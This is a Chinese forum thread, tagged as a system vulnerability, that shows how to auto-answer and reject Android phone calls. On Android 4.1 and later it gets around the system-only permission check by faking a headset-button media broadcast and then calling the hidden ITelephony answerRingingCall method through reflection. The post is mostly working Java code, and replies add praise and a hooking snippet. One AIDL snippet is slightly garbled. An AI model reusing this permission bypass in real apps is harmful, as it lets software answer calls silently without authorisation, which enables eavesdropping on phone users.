wushaominkk 发表于 2018-3-15 14:58

[系统漏洞]模拟耳机广播实现来电自动接听和拒接

本帖最后由 wushaominkk 于 2018-3-15 16:06 编辑

来电拒接这个应用的比较广泛,通讯录黑名单用的比较多,而来电自动接听由于安全性,4.1以上的系统已经被禁用了.但是android系统还是有漏洞,这里给大家分析下原理,请勿用于不法操作!
低版本实现来电接听和拒接:
新建ITelephony.aidl文件:
// ITelephony.aidl
package com.android.internal.telephony;

// Declare any non-default types here with import statements

interface ITelephony {
    /**
   * Demonstrates some basic types that you can use as parameters
   * and return values in AIDL.
   */
    boolean
      void answerRingingCall();
}
接听/挂断电话的方法在接口ITelephony.java里面,而这个接口时隐藏的,也就是sdk开发是看不到这个接口的。(注意包名不能改),系统会在gen目录下自动生成ITelephony.java这个接口文件。只要我们获得了ITelephony的实例对象就可以使用endCall()自动挂断和answerRingingCall();自动接听方法了!
因为 ITelephony对象是以一个系统服务我们只能通过反射来获取该对象,直接贴代码吧:
Method method = Class.forName("android.os.ServiceManager")
                                    .getMethod("getService", String.class);

                            IBinder binder = (IBinder) method.invoke(null, new Object[]{TELEPHONY_SERVICE});
                            ITelephony telephony = ITelephony.Stub.asInterface(binder);
通过Binder机制得到的IBinder对象binder转化成ITelephony对象!
最后,我们还需要在AndroidManifest.xml里面配置下权限:
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>然后获取TelephonyManager对象对电话状态进行监听,直接上代码吧//获取电话服务
      mTelephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
      mTelephonyManager.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);/***
   * 继承PhoneStateListener类,我们可以重新其内部的各种监听方法
   *然后通过手机状态改变时,系统自动触发这些方法来实现我们想要的功能
   */
    private class MyPhoneStateListener extends PhoneStateListener {

      @Override
      public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
                case TelephonyManager.CALL_STATE_IDLE:
                  result = "手机空闲起来了";
                  break;
                case TelephonyManager.CALL_STATE_RINGING:
                  result = "手机铃声响了,来电号码:" + incomingNumber;
                  break;
                case TelephonyManager.CALL_STATE_OFFHOOK:
                  result = "电话被挂起了";
                default:
                  break;
            }
            //Toast.makeText(MyBroadCast.this, ""+result, Toast.LENGTH_SHORT).show();
            //textView.setText(result);
            super.onCallStateChanged(state, incomingNumber);
      }
高版本实现思路:4.1以上系统对answerRingingCall()方法,增加权限检查。只有系统进程才有权限执行这个方法,按照以上的操作编译会报错!有以上2个思路,既然是系统进程才能实现,那么我们伪装成系统APK,在该版本的源码下编译用系统签名打包,植入到sysytem就可以了,这种方法难度比较大,而且有局限性,本人没有试过,按照理论应该是可以实现的!第二种方法android会提供这个MediaButtonBroadcastReceiver广播接收器,这个广播接收器是为了监听耳机上接听电话那个按钮的,来电时只要按一下,就可以接听电话,接着就会调用MediaButtonBroadcastReceiver广播接收器。我们的思路是模拟耳机按键然后发出一条广播,让MediaButtonBroadcastReceiver广播接收器接收,从而达到自动接听的目的!
代码跟之前的一样监听TelephonyManager.CALL_STATE_RINGING来电事件,直接上代码:
//注册模拟耳机接听电话广播
      IntentFilter mediaButtonIntentFilter = new IntentFilter(Intent.ACTION_MEDIA_BUTTON);
      registerReceiver(mMediaButtonReceiver, mediaButtonIntentFilter);
//TelephonyManager.CALL_STATE_RINGING中发送广播
Intent meidaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON);
                              KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_HEADSETHOOK);
                              meidaButtonIntent.putExtra(Intent.EXTRA_KEY_EVENT, keyEvent);
                              sendOrderedBroadcast(meidaButtonIntent, null);
KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_HEADSETHOOK);就是模拟耳机按键动作
然后接收广播,判断耳机按键动作开启自动接听电话
protected class MediaButtonBroadcastReceiver extends BroadcastReceiver {

      @Override
      public void onReceive(Context context, Intent intent) {
            KeyEvent event = (KeyEvent) intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
            if ((event != null) && (event.getKeyCode() == KeyEvent.KEYCODE_HEADSETHOOK)) {
                //boolean consumed = PhoneUtils.handleHeadsetHook(phone, event);
                //answerCall(phone.getRingingCall());
                Method method = null;
                try {
                  method = Class.forName("android.os.ServiceManager")
                            .getMethod("getService", String.class);
                } catch (NoSuchMethodException e) {
                  e.printStackTrace();
                } catch (ClassNotFoundException e) {
                  e.printStackTrace();
                }

                IBinder binder = null;
                try {
                  binder = (IBinder) method.invoke(null, new Object[]{TELEPHONY_SERVICE});
                } catch (IllegalAccessException e) {
                  e.printStackTrace();
                } catch (InvocationTargetException e) {
                  e.printStackTrace();
                }
                ITelephony telephony = ITelephony.Stub.asInterface(binder);
                try {
                  telephony.answerRingingCall();
                } catch (RemoteException e) {
                  e.printStackTrace();
                }
            } else {
            }
      }
    }



伍丫i倨仕 发表于 2018-3-15 16:07

mClassName = mIsLollipop ? "com.android.services.telephony.PstnIncomingCallNotifier" : "com.android.phone.CallNotifier";
mMethodName = mIsLollipop ? "handleNewRingingConnection" : "onNewRingingConnection";

可以可以,比用Xposed来hook好的多

wushaominkk 发表于 2018-7-6 16:37

lemniscate 发表于 2018-7-6 16:24
666,但是吧,自己发intent,自己接受intent然后反射接听电话得话就不判断权限吗

不判断的,这可能就是BUG,最新的版本系统我没测试过,不知道有没有修复这BUG

与狼-共舞 发表于 2018-3-15 15:23

有点复杂

Javajsc 发表于 2018-3-15 15:24

感谢分享

zhy0212ZHY 发表于 2018-3-15 15:29

对小白来说,太难了。感谢分享

wushaominkk 发表于 2018-3-15 15:43

zhy0212ZHY 发表于 2018-3-15 15:29
对小白来说,太难了。感谢分享

理清了思路就不难

孙大飞 发表于 2018-3-15 15:52

ddyy004 发表于 2018-3-15 15:57

有点复杂,看不懂

OKxiaobaby 发表于 2018-3-15 15:57

分析的到位,可以一试

peterq521 发表于 2018-3-15 16:01

楼主大神 鉴定完毕
页: [1] 2 3 4 5
查看完整版本: [系统漏洞]模拟耳机广播实现来电自动接听和拒接